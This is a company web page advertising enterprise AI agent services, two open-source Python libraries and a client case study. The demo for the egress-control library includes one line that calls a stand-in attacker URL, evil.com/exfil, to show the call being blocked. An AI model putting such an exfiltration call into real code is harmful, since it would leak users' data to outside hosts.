Enterprise AI
Engineering

We build AI agents that transform how enterprises operate — autonomous systems that reason, plan, and act on your data.

Get in Touch Explore Our Work

What We Do

We craft and deploy enterprise AI agents — autonomous systems that reason, plan, and act on your data to drive real business outcomes.

Ingest

Documents, APIs, memory

Plan

Route, decompose & strategize

Reason

Think, analyze, decide

Execute

Tools, APIs, code

Verify

Guardrails, evals & validation

Autonomous Agents

AI agents that reason, plan, and act independently — handling complex workflows without constant human supervision.

> Analyzing quarterly report…
› plan("decompose into 3 subtasks")
› search("revenue data, Q1–Q4")
› reason("compare YoY trends")
› verify("cross-check calculations")
✓ Report summary generated

Multi-Agent Orchestration

Coordinate teams of specialized agents for long-running, multi-step processes — with handoffs, memory, and real-time oversight.

Custom AI Pipelines

Tailored AI workflows designed for your business — integrating with your existing systems and scaling with your needs.

Open Source

We believe in giving back to the community. Our open-source tools are used by developers worldwide.

💎

ContextGem

Effortless LLM extraction from documents. Our open-source framework that makes it simple to extract structured data using large language models.

1.8k+ stars
45k+ downloads
uv add contextgem
GitHub Documentation

Key Features

  • Minimal code — define what to extract, not how
  • Automated prompts — LLM prompt engineering handled for you
  • Reference mapping — trace every extraction back to source
  • Multi-LLM — OpenAI, Anthropic, Google, Azure, local models
extract.py
1 from contextgem import Document, StringConcept
2 doc = Document(raw_text=contract_text)
3 doc.concepts = [StringConcept(name="Anomalies", ...)]
4 doc = llm.extract_all(doc)
✓ 3 anomalies extracted with references
🪁

tethered

Runtime network egress control for Python. Our open-source security library that restricts which hosts your application can connect to — with a single function call.

New
uv add tethered
GitHub PyPI

Use Cases

  • Supply chain defense — rogue dependencies can't phone home
  • AI agent guardrails — agents reach only allowed APIs
  • Test isolation — tests never hit production by accident
  • Least-privilege networking — only the hosts you declare
secure.py
1 import tethered
2 tethered.activate(allow=["*.openai.com:443"])
3 httpx.get("https://evil.com/exfil")
✓ Unauthorized egress blocked

Trusted By

Enterprise AI solutions delivering measurable results.

Christiania Stillas AS

Christiania Stillas AS

Scaffolding business · Oslo, Norway

Agentic document intelligence platform — a multi-agent system of long-running AI agents that processes large volumes of scaffolding project files, performs complex billing calculations across different scaffolding project types — with deterministic tools and accuracy safeguards ensuring precision — and delivers detailed invoice attachments.

Invoice Attachment Generation

Large-scale file processing, complex calculations, multiple scaffolding project types

Project Q&A

Agentic reasoning over scaffolding project documentation with cited responses

"The solution is now saving 80% of the time spent on invoice attachment generation."

— Rune Larsen, Co-founder & HSE Leader at Christiania Stillas AS

Let's Build Together

Ready to bring AI agents into your enterprise? We'd love to hear about your challenges.

sergii@shcherbak.ai